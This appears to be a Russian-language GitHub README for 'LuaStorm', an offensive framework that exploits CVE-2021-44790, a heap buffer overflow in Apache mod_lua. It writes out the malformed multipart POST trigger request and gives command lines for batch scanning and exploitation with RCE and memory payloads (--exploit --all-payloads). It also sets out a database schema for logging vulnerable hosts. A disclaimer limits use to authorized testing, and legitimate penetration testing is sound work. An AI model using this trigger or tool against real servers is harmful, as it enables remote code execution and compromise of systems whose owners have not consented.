
Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) — расширенный фреймворк для эксплуатации с определением версии, многоэтапным сканированием, плагинной архитектурой, профессиональной отчетностью, захватом скриншотов, базой данных SQLite и обнаружением с точностью 95%+. Автор: Sudeepa Wanigarathna.
Apache mod_lua Buffer Overflow Exploitation — это продвинутая платформа эксплуатации корпоративного уровня для , критической уязвимости переполнения буфера в модуле веб-сервера Apache HTTP Server 2.4.x. Фреймворк предоставляет комплексное fingerprinting, интеллектуальное обнаружение скриптов, многоэтапное сканирование и профессиональные возможности формирования отчётов с .
mod_lua| Функция | Описание |
|---|---|
| 🔍 Продвинутое fingerprinting | Определение версии Apache, mod_lua, ОС, архитектуры, WAF, CDN, контейнера, облачного провайдера |
| 🎯 Интеллектуальное обнаружение | 7+ методов обнаружения, включая robots.txt, sitemap, парсинг HTML, извлечение JavaScript |
| 💥 Многоэтапное сканирование | Подключение → Fingerprinting → Обнаружение → Проверка → Эксплуатация → Отчёты |
| 🧩 Расширяемая система плагинов | Лёгкая разработка плагинов для будущих CVE |
| 🌐 Умный HTTP-движок | Пул соединений, повторные попытки, поддержка HTTP/2, ограничение частоты запросов |
| 📊 Комплексные отчёты | JSON, HTML, Markdown, PDF с интерактивными панелями мониторинга |
| 🎨 Красивый терминальный интерфейс | Библиотека Rich с индикаторами выполнения, таблицами и цветным выводом |
| 💾 Исследовательская база данных | Хранилище SQLite с полной историей сканирований и поддержкой запросов |
| 📸 Захват скриншотов | Автоматические снимки веб-страниц для сбора доказательств |
| 🚀 Высокая производительность | 20+ параллельных потоков, 100+ пулов соединений |
| Атрибут | Значение |
|---|---|
| CVE ID | CVE-2021-44790 |
| Уязвимость | Переполнение буфера (Integer Underflow) |
| Затронутое ПО | Apache HTTP Server с 2.4.0 по 2.4.51 |
| Исправленная версия | Apache HTTP Server 2.4.52 и новее |
| Компонент | модуль mod_lua |
| Вектор атаки | Сеть (удалённо) |
| Оценка CVSS | 9.8 (критический) |
| Влияние на конфиденциальность | Высокое |
| Влияние на целостность | Высокое |
| Влияние на доступность | Высокое |
| Зрелость эксплойта | Доступен proof-of-concept |
Уязвимость присутствует в модуле mod_lua при обработке запросов multipart/form-data. Целочисленное переполнение вниз (integer underflow) в функции lua_request_parsebody() может привести к переполнению буфера в куче (heap-based buffer overflow), что потенциально позволяет удалённое выполнение кода.
POST /process.lua HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=4
4
Content-Disposition: form-data; name="name"
0
4
| Основной интерфейс | Результаты fingerprinting |
|---|---|
![]() | ![]() |
| Ход сканирования | Панель мониторинга HTML-отчёта |
|---|---|
![]() | ![]() |
# Clone the repository
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
# Quick vulnerability scan
python3 exploit.py http://target.com
# Verbose scan with exploitation
python3 exploit.py https://target.com --exploit --verbose
# Generate all reports
python3 exploit.py http://target.com --report all
# Research mode with database
python3 exploit.py http://target.com --research
python3 exploit.py [TARGET] [OPTIONS]
| Параметр | Описание | Пример |
|---|---|---|
TARGET | Целевой URL | http://target.com |
--config FILE | Файл конфигурации | --config config.yaml |
--threads N | Количество потоков | --threads 30 |
--timeout N | Таймаут запроса (в секундах) | --timeout 15 |
--proxy URL | URL прокси-сервера | --proxy http://127.0.0.1:8080 |
--verbose | Подробный вывод | --verbose |
--scan-only | Сканирование без эксплуатации | --scan-only |
--exploit | Включить эксплуатацию | --exploit |
--all-payloads | Использовать все полезные нагрузки | --all-payloads |
--report FORMAT | Формат отчёта (json/html/markdown/all) | --report all |
--output DIR | Выходная директория | --output /path/to/reports/ |
--research | Включить режим исследования | --research |
--database FILE | Путь к базе данных | --database luastorm.db |
--screenshot | Делать скриншоты | --screenshot |
--batch FILE | Пакетный файл со списком целей | --batch targets.txt |
--query SQL | Выполнить запрос к базе данных | --query "SELECT * FROM targets" |
python3 exploit.py https://example.com --verbose --report all
python3 exploit.py https://internal-server.com \
--proxy http://proxy.corp.com:8080 \
--threads 10 \
--timeout 15 \
--verbose \
--report all \
--output /var/log/security/
python3 exploit.py https://client.com \
--threads 30 \
--timeout 10 \
--exploit \
--all-payloads \
--report all \
--screenshot \
--research \
--verbose \
--output /pentest/client_name/
python3 exploit.py --batch targets.txt --config config.yaml
# Show all vulnerable targets
python3 exploit.py --query "SELECT * FROM targets WHERE vulnerable=1"
# Get statistics
python3 exploit.py --query "SELECT COUNT(*) as total, SUM(vulnerable) as vulnerable FROM targets"
# ----------------------------------------------------------------------------
# LuaStorm Exploit Framework - Configuration File
# ----------------------------------------------------------------------------
# Scan Settings
threads: 20 # Concurrent threads
timeout: 10 # Request timeout in seconds
retries: 3 # Number of retry attempts
rate_limit: 10 # Requests per second
max_depth: 3 # Directory traversal depth
follow_redirects: true # Follow HTTP redirects
verify_ssl: false # Verify SSL certificates
# Network Settings
proxy: null # Proxy URL
http2: true # Enable HTTP/2 support
user_agent: random # User-Agent (random/specific)
save_packets: false # Save raw network packets
# Analysis Settings
research_mode: true # Enable research database
verbose: false # Verbose output
scan_only: false # Scan without exploitation
exploit: false # Enable exploitation
all_payloads: false # Use all payloads
# Payload Settings
payloads:
detection: true
memory: true
rce: true
dos: false
# Report Settings
report_json: true
report_html: true
report_markdown: true
report_pdf: false
screenshot: false
reports_dir: reports
# Database Settings
database_path: luastorm.db
database_retention: 365
# Directory Settings
logs_dir: logs
screenshots_dir: screenshots
{
"scan_id": "a1b2c3d4",
"target": {
"url": "https://example.com",
"hostname": "example.com",
"port": 443
},
"vulnerable": true,
"risk_level": "Critical",
"scan_duration": 45.23,
"timestamp": "2026-08-04T15:45:23"
}
-- Targets table
CREATE TABLE targets (
id INTEGER PRIMARY KEY,
scan_id TEXT UNIQUE,
url TEXT,
hostname TEXT,
ip TEXT,
port INTEGER,
protocol TEXT,
apache_version TEXT,
lua_version TEXT,
os TEXT,
architecture TEXT,
waf TEXT,
cdn TEXT,
vulnerable INTEGER,
risk_level TEXT,
scan_date TEXT,
duration REAL
);
-- Scripts table
CREATE TABLE scripts (
id INTEGER PRIMARY KEY,
scan_id TEXT,
path TEXT,
method TEXT,
status_code INTEGER,
content_type TEXT,
response_time REAL,
vulnerable INTEGER
);
-- Payloads table
CREATE TABLE payloads (
id INTEGER PRIMARY KEY,
scan_id TEXT,
script_id INTEGER,
payload_name TEXT,
payload_type TEXT,
success INTEGER,
response_time REAL,
indicators TEXT,
error TEXT
);
# plugins/my_plugin.py
class MyPlugin:
plugin_name = "my_plugin"
plugin_version = "1.0"
plugin_author = "Your Name"
def __init__(self, config):
self.config = config
def execute(self, target_info):
"""Execute plugin logic"""
return {
'status': 'success',
'message': 'Plugin executed',
'data': {'target': target_info.url}
}
THIS TOOL IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.
Unauthorized use against systems you do not own or have explicit permission to test
is illegal and unethical. The author assumes no responsibility for misuse, damage,
or legal consequences arising from the use of this tool.
By using this tool, you agree to:
1. Only test systems you own or have written permission to test
2. Comply with all applicable laws and regulations
3. Report findings responsibly
4. Not use this tool for malicious purposes
| Функция | Производительность |
|---|---|
| Fingerprinting | < 2 секунд |
| Обнаружение скриптов | 5–10 секунд |
| Тестирование полезных нагрузок | 1–5 секунд на нагрузку |
| Генерация отчётов | < 1 секунды |
| Операции с базой данных | < 100 мс |
| Параллельные потоки | 20+ |
| Пул соединений | 100+ |
Вклад приветствуется! Пожалуйста, следуйте этим рекомендациям:
# Clone your fork
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
# Install development dependencies
pip install -r requirements-dev.txt
# Run tests
python -m pytest tests/
Sudeepa Wanigarathna
Только для образовательных целей и авторизованного тестирования
Данное программное обеспечение предоставляется «как есть», без каких-либо гарантий, явных или подразумеваемых.
⭐ Поставьте звёздочку этому репозиторию, чтобы поддержать проект!
💡 Нашли ошибку? Откройте issue
📧 Контакты: [email protected]
Создано с ❤️ для сообщества специалистов по безопасности